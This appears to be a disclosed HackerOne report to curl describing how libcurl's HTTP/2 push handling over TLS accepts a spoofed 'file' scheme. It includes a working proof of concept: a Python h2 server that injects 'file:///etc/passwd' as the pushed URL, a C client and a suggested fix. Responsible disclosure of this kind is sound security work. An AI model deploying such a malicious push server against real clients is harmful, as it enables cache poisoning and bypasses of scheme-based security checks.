lib/http2.c: SSL connections accept non-HTTP push schemes (incomplete fix for 2e8c922a)

Disclosed: 2026-04-16 07:02:57 By hybirdss To curl
Medium
Vulnerability Details
## Summary: `set_transfer_url()` in `lib/http2.c` validates the `:scheme` pseudo-header of PUSH_PROMISE frames only when `!via_ssl_conn` — a guard added by commit `2e8c922a` to block non-TLS connections from accepting TLS-scheme pushes. The symmetric case was not addressed: over TLS, `via_ssl_conn` is TRUE, the guard at line 735 is skipped, and `curl_url_set(u, CURLUPART_SCHEME, v, 0)` is called at line 743 with whatever scheme the server supplied. In default builds (`CURL_DISABLE_FILE=OFF`), `Curl_get_scheme("file")` returns a valid scheme with a non-NULL `run` pointer, so `curl_url_set` returns `CURLUE_OK` and the push handle URL becomes `file:///etc/passwd`. The server does not gain local file read — pushed data comes from the H2 stream — but `CURLINFO_EFFECTIVE_URL` returns `"file:///etc/passwd"` and the transfer completes `result=0`, confirmed on libcurl/8.19.0 nghttp2/1.68.1. Applications using `CURLMOPT_PUSHFUNCTION` that key caches or routing on the effective URL process server-delivered content under a spoofed `file://` label; the official `CURLMOPT_PUSHFUNCTION.md` (line 117) example validates only `:path`, making it directly exploitable. ## Affected version curl 8.19.0 (x86_64-pc-linux-gnu) libcurl/8.19.0 OpenSSL/3.6.1 zlib/1.3.1.zlib-ng nghttp2/1.68.1 (Arch Linux x86_64) Introduced by: commit 2e8c922a (2026-03-27) ## Steps To Reproduce: Deps: python3, pip install h2, gcc, libcurl-dev with nghttp2 (default build). 1. Generate TLS cert: openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem \ -days 1 -nodes -subj "/CN=localhost" \ -addext "subjectAltName=IP:127.0.0.1" \ -addext "basicConstraints=CA:true" 2. Save server.py and run: python3 server.py cert.pem key.pem 18443 & import sys, ssl, socket, threading import h2.connection, h2.config, h2.events CERT, KEY, PORT = sys.argv[1], sys.argv[2], int(sys.argv[3]) def handle(sock): conn = h2.connection.H2Connection( config=h2.config.H2Configuration(client_side=False, header_encoding='utf-8')) conn.initiate_connection(); conn.receive_data(b'') pushed = False; client_id = None while True: data = sock.recv(65535) if not data: break for ev in conn.receive_data(data): if isinstance(ev, h2.events.RequestReceived): client_id = ev.stream_id elif isinstance(ev, h2.events.StreamEnded) and not pushed: pushed = True conn.push_stream(client_id, 2, [(':method','GET'),(':scheme','file'), (':path','/etc/passwd'),(':authority',f'127.0.0.1:{PORT}')]) conn.send_headers(2,[(':status','200')]) conn.send_data(2,b'injected',end_stream=True) conn.send_headers(client_id,[(':status','200')]) conn.send_data(client_id,b'ok',end_stream=True) d = conn.data_to_send(65535) if d: sock.sendall(d) sock.close() ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER) ctx.load_cert_chain(CERT,KEY); ctx.set_alpn_protocols(['h2']) with socket.socket() as s: s.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1) s.bind(('127.0.0.1',PORT)); s.listen(5); print('READY',flush=True) while True: c,_ = s.accept() threading.Thread(target=lambda c=c: (lambda t: handle(t))(ctx.wrap_socket(c,server_side=True)),daemon=True).start() 3. Save client.c and compile: gcc -o client client.c $(pkg-config --cflags --libs libcurl) #include <stdio.h> #include <curl/curl.h> static size_t noop(char*p,size_t s,size_t n,void*u){return s*n;} static int push_cb(CURL*p,CURL*c,size_t n,struct curl_pushheaders*h,void*u){ char*url=NULL; curl_easy_getinfo(c,CURLINFO_EFFECTIVE_URL,&url); fprintf(stderr,"PUSH URL: %s\n",url?url:"null"); curl_easy_setopt(c,CURLOPT_WRITEFUNCTION,noop); return CURL_PUSH_OK;} int main(int ac,char**av){ CURLM*m=curl_multi_init(); CURL*e=curl_easy_init(); curl_easy_setopt(e,CURLOPT_URL,av[1]); curl_easy_setopt(e,CURLOPT_HTTP_VERSION,CURL_HTTP_VERSION_2_0); curl_easy_setopt(e,CURLOPT_CAINFO,av[2]); curl_easy_setopt(e,CURLOPT_WRITEFUNCTION,noop); curl_multi_setopt(m,CURLMOPT_PUSHFUNCTION,push_cb); curl_multi_add_handle(m,e); int r=1; while(r>0){curl_multi_perform(m,&r);if(r)curl_multi_poll(m,0,0,500,0);} return 0;} 4. Run: ./client https://127.0.0.1:18443/ cert.pem Confirmed output (libcurl/8.19.0, result=0): PUSH URL: file:///etc/passwd ## Impact ## Summary: An HTTPS server can inject any non-HTTP scheme into a pushed resource's effective URL. Applications using CURLMOPT_PUSHFUNCTION receive CURLINFO_EFFECTIVE_URL = "file:///etc/passwd" for server-delivered content. The server does not read local files — data comes from the H2 push stream — but downstream application code that keys response caches, routing decisions, or audit logs on the effective URL processes server-crafted content under a spoofed file:// label (cache poisoning, scheme-based security logic bypass, misleading audit logs). Preconditions: application sets CURLMOPT_PUSHFUNCTION (non-default) and callback accepts the push. Suggested fix: in set_transfer_url(), add a symmetric check for via_ssl_conn=TRUE that only permits "http" and "https" schemes, mirroring the existing non-SSL guard at line 735: if(via_ssl_conn) { if(!curl_strequal(v, "https") && !curl_strequal(v, "http")) { rc = 1; goto fail; } } else { const struct Curl_scheme *scheme = Curl_get_scheme(v); if(!scheme || (scheme->flags & PROTOPT_SSL)) { rc = 1; goto fail; } }
Actions
View on HackerOne
Report Stats
  • Report ID: 3674275
  • State: Closed
  • Substate: informative
Share this report